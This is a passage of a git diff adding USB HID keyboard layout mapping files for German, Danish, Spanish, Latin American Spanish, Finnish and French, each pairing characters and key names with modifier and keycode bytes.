"D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + "7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "\\":"05,00,14", + "%":"02,00,2d", + "/":"02,00,2f", + "(":"02,00,30", + "'":"02,00,31", + "\"":"02,00,33", + "!":"02,00,34", + "?":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + "|":"05,00,1a", + "#":"05,00,1b", + "&":"05,00,06", + "@":"05,00,19", + "$":"05,00,33", + "*":"05,00,38", + "{":"05,00,05", + "}":"05,00,11", + "[":"05,00,09", + "]":"05,00,0a", + "~":"05,00,1e", + "^":"05,00,20", + "<":"05,00,36", + ">":"05,00,37", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} \ No newline at end of file diff --git a/languages/de.json b/languages/de.json new file mode 100644 index 0000000..fe65926 --- /dev/null +++ b/languages/de.json @@ -0,0 +1,179 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "__comment":"German umlauts added by Simon Dankelmann", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,30", + "#":"00,00,31", + "^":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "*":"02,00,30", + "'":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,14", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "\\":"40,00,2d", + "~":"40,00,30", + "|":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64", + "ß":"00,00,2d", + "€":"40,00,08", + "§":"02,00,20", + "ä":"00,00,34", + "ö":"00,00,33", + "ü":"00,00,2f", + "Ä":"02,00,34", + "Ö":"02,00,33", + "Ü":"02,00,2f" +} diff --git a/languages/dk.json b/languages/dk.json new file mode 100644 index 0000000..06a2ef0 --- /dev/null +++ b/languages/dk.json @@ -0,0 +1,168 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "'":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "|":"40,00,2e", + "~":"40,00,30", + "\\":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64" +} diff --git a/languages/es-la.json b/languages/es-la.json new file mode 100644 index 0000000..2544993 --- /dev/null +++ b/languages/es-la.json @@ -0,0 +1,176 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "¿":"00,00,2e", + "´":"00,00,2f", + "+":"00,00,30", + "ñ":"00,00,31", + "{":"00,00,33", + "}":"00,00,34", + "|":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "¡":"02,00,2e", + "¨":"02,00,2f", + "*":"02,00,30", + "Ñ":"02,00,31", + "[":"02,00,33", + "]":"02,00,34", + "°":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "\\":"04,00,2d", + "~":"04,00,30", + "^":"04,00,33", + "`":"04,00,34", + "¬":"04,00,35", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} diff --git a/languages/es.json b/languages/es.json new file mode 100644 index 0000000..d10fef6 --- /dev/null +++ b/languages/es.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,30", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "^":"02,00,2e", + "*":"02,00,30", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "|":"40,00,1e", + "@":"40,00,1f", + "#":"40,00,20", + "~":"40,00,21", + "[":"40,00,2f", + "]":"40,00,30", + "\\":"40,00,35", + "`":"40,00,35", + "{":"42,00,2f", + "}":"42,00,30", + "COMMAND-CTRL-SHIFT":"42,00,30", + "COMMAND-CTRL":"42,00,30", + "COMMAND-OPTION-SHIFT'":"42,00,30" +} \ No newline at end of file diff --git a/languages/fi.json b/languages/fi.json new file mode 100644 index 0000000..a8f894e --- /dev/null +++ b/languages/fi.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "'":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "\\":"40,00,2d", + "~":"40,00,30", + "|":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64" +} \ No newline at end of file diff --git a/languages/fr.json b/languages/fr.json new file mode 100644 index 0000000..f8f82a9 --- /dev/null +++ b/languages/fr.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "q":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + ",":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "a":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "z":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "w":"00,00,1d", + "&":"00,00,1e", + "\"":"00,00,20", + "'":"00,00,21", + "(":"00,00,22", + "-":"00,00,23", + "_":"00,00,25", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + ")":"00,00,2d", + "=":"00,00,2e", + "$":"00,00,30", + "*":"00,00,31", + "m":"00,00,33", + ";":"00,00,36", + ":":"00,00,37", + "!":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "Q":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "?":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "A":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "Z":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "W":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + "7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "+":"02,00,2e", + "M":"02,00,33", + "%":"02,00,34", + ".":"02,00,36", + "/":"02,00,37", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + 